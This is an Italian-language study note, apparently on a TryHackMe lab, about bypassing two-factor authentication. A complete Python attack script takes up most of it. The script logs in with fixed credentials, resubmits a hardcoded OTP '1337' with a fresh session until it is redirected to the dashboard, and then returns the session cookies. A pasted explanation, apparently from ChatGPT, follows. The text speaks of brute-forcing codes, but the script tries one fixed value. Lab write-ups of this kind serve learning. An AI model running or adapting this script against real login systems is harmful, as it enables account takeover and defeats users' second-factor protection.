tags: 2FA Autenticazione_due_fattori disconnesione_auto python_offensive


Quando una autenticazione a due fattori presenta una challenge che ti reindirizza alla pagina di login dopo aver fallito il codice OTP è una buona idea tentare l’approccio del brute forcing per trovare il codice corretto. L’idea è quella di mandare tante richieste al server sia per la prima challenge(le credenziali di accesso che dobbiamo già avere) che per la seconda alla quale quest’ultima il nostro script verificherà ogni volta la risposta del server per vedere se reindirizza o meno la nostra richiesta alla pagina di login, non appena trova un codice che non reindirizza alla pagina di login significa che è il codice corretto.

Ecco un esempio di script che compie questa operazione:

import requests
 
# Define the URLs for the login, 2FA process, and dashboard
login_url = 'http://mfa.thm/labs/third/'
otp_url = 'http://mfa.thm/labs/third/mfa'
dashboard_url = 'http://mfa.thm/labs/third/dashboard'
 
# Define login credentials
credentials = {
    'email': '[email protected]',
    'password': 'test123'
}
 
# Define the headers to mimic a real browser
headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://mfa.thm',
    'Connection': 'close',
    'Referer': 'http://mfa.thm/labs/third/mfa',
    'Upgrade-Insecure-Requests': '1'
}
 
# Function to check if the response contains the login page
def is_login_successful(response):
    return "User Verification" in response.text and response.status_code == 200
 
# Function to handle the login process
def login(session):
    response = session.post(login_url, data=credentials, headers=headers)
    return response
  
# Function to handle the 2FA process
def submit_otp(session, otp):
    # Split the OTP into individual digits
    otp_data = {
        'code-1': otp[0],
        'code-2': otp[1],
        'code-3': otp[2],
        'code-4': otp[3]
    }
    
    response = session.post(otp_url, data=otp_data, headers=headers, allow_redirects=False)  # Disable auto redirects
    print(f"DEBUG: OTP submission response status code: {response.status_code}")
    
    return response
 
# Function to check if the response contains the login page
def is_login_page(response):
    return "Sign in to your account" in response.text or "Login" in response.text
 
# Function to attempt login and submit the hardcoded OTP until success
def try_until_success():
    otp_str = '1337'  # Hardcoded OTP
 
    while True:  # Keep trying until success
        session = requests.Session()  # Create a new session object for each attempt
        login_response = login(session)  # Log in before each OTP attempt
        
        if is_login_successful(login_response):
            print("Logged in successfully.")
        else:
            print("Failed to log in.")
            continue
 
        print(f"Trying OTP: {otp_str}")
 
        response = submit_otp(session, otp_str)
 
        # Check if the response is the login page (unsuccessful OTP)
        if is_login_page(response):
            print(f"Unsuccessful OTP attempt, redirected to login page. OTP: {otp_str}")
            continue  # Retry login and OTP submission
 
        # Check if the response is a redirect (status code 302)
        if response.status_code == 302:
            location_header = response.headers.get('Location', '')
            print(f"Session cookies: {session.cookies.get_dict()}")
 
            # Check if it successfully bypassed 2FA and landed on the dashboard
            if location_header == '/labs/third/dashboard':
                print(f"Successfully bypassed 2FA with OTP: {otp_str}")
                return session.cookies.get_dict()  # Return session cookies after successful bypass
            elif location_header == '/labs/third/':
                print(f"Failed OTP attempt. Redirected to login. OTP: {otp_str}")
            else:
                print(f"Unexpected redirect location: {location_header}. OTP: {otp_str}")
        else:
            print(f"Received status code {response.status_code}. Retrying...")
 
# Start the attack to try until success
try_until_success()

GPT

Spiegazione dello script

Lo script esegue un attacco di forza bruta contro un sistema di autenticazione a due fattori (2FA) in un ambiente controllato. L’obiettivo è sfruttare il comportamento della pagina di login e il sistema di gestione delle sessioni (cookie) per trovare il PIN corretto e accedere al dashboard bypassando il 2FA. Vediamo passo per passo cosa fa lo script.


Passaggi dello script

1. Definizione degli URL

  • Gli URL rappresentano i punti principali per l’interazione:
    • login_url: Endpoint per l’autenticazione primaria (nome utente e password).
    • otp_url: Endpoint per inviare il codice OTP.
    • dashboard_url: L’URL che viene raggiunto dopo aver superato l’autenticazione 2FA.

2. Creazione delle credenziali

  • Le credenziali fisse vengono definite come:

    python

    Copy code

    credentials = { 'email': '[email protected]', 'password': 'test123' }


3. Headers per imitare un browser reale

  • Gli headers HTTP sono configurati per far sembrare le richieste come provenienti da un browser reale. Questo aiuta a evitare blocchi da parte del server.

4. Funzione per verificare il successo del login

  • La funzione is_login_successful cerca nella risposta il testo “User Verification” per verificare se il login è stato completato con successo.

5. Login

  • La funzione login invia una richiesta POST con email e password all’URL di login, restituendo la risposta:

    python

    Copy code

    response = session.post(login_url, data=credentials, headers=headers)


6. Invio dell’OTP

  • La funzione submit_otp simula l’invio del codice OTP:
    • Divide l’OTP in singole cifre (code-1, code-2, ecc.).
    • Invia la richiesta al server.
    • La risposta del server viene usata per verificare se il codice OTP è corretto o meno.

7. Controllo della risposta

  • is_login_page verifica se l’utente è stato riportato alla pagina di login, il che significa che l’OTP era errato.

8. Attacco di forza bruta

  • Il cuore dello script è la funzione try_until_success. Qui:
    • Viene definito un OTP fisso (otp_str = '1337').
    • Si crea una nuova sessione per ogni tentativo.
    • Si eseguono login e tentativi con l’OTP in un ciclo continuo.
    • Se l’OTP è errato, lo script verifica se l’utente è stato reindirizzato alla pagina di login e ricomincia.